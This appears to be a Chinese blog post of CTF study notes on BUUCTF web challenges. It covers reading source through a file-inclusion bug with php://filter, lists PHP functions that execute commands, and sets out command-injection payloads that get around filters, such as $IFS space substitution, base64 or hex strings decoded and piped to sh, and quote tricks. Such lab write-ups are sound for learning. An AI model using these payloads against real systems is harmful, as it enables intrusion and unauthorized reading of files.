2021-01-18

46 篇文章 0 订阅

知识点:

BUUCTF web-[极客大挑战 2019]Secret File:

学会运用BrupSuite(抓包,爆破等许多功能):
在这里插入图片描述

php伪协议
使用php伪协议去读取的原因?
返回审计php代码,发现文件包含,看到了 input (php://input: 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行),这个是伪协议的一种.结合题目一下想到的文件隐藏,于是我们猜测flag在后端文件中,并需要我们去读取他,传入的file经过了过滤,但是没有过滤filter

php伪协议中的 php://filter,常用来读取文件和源码

http://47ad2052-eed5-46b4-838f-23dae02dbced.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter参数简单总结

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
resource=<要过滤的数据流>可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

转换过滤器
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码

ctf中常利用php伪协议
实战中或许会有奇效
在这里插入图片描述

BUUCTF web-[ACTF2020 新生赛]Exec

命令执行漏洞:

背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。

成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入或者过滤不严格的情况下,就会造成命令执行漏洞。

Windows常见命令

dir 列出目录

Ipconfig 查看ip

arp -a 查看路由表

Calc 打开计算器

Regedit 打开注册表

netstat -ano 查看服务端口信息

php常见危险函数
system:成功则返回命令输出的最后一行,失败则返回FALSE。

exec:命令执行结果的最后一行内容。

shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。

passthru:执行外部程序并且显示原始输出。

eval:将输入的字符串参数当做PHP程序代码来执行

【BUUCTF】[GXYCTF2019]Ping Ping Ping

用|或;执行命令
?ip=127.0.0.1;ls (列出目录)

命令联合执行:
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

命令绕过空格方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 ( 1 改 成 1改成 1加其他数字貌似都行)
IFS
<
<>
{cat,flag.php} (用逗号实现了空格功能,需要用{}括起来)
%20 (space)
%09 (tab)
X=$ ‘cat\ x09./flag.php’;$ X (\x09表示tab,也可以用\x20)

当cat被过滤后:
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

内联执行:
内联,就是将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9``ls `
$IFS在Linux下表示为空格
$ 9是当前系统shell进程第九个参数持有者,始终为空字符串, 后 可 以 接 任 意 数 字 这 里 后可以接任意数字 这里 IFS 9 或 9或 9IFS垂直,后面加个$与{}类似,起截断作用

**flag的贪婪匹配:**匹配一个字符串中,是否按顺序出现过flag四个字母

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

被过滤的bash,用管道+sh替换,linux下可用sh
cat flag.php用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw
(cat flag.php加密后)
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

此类题的大概思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值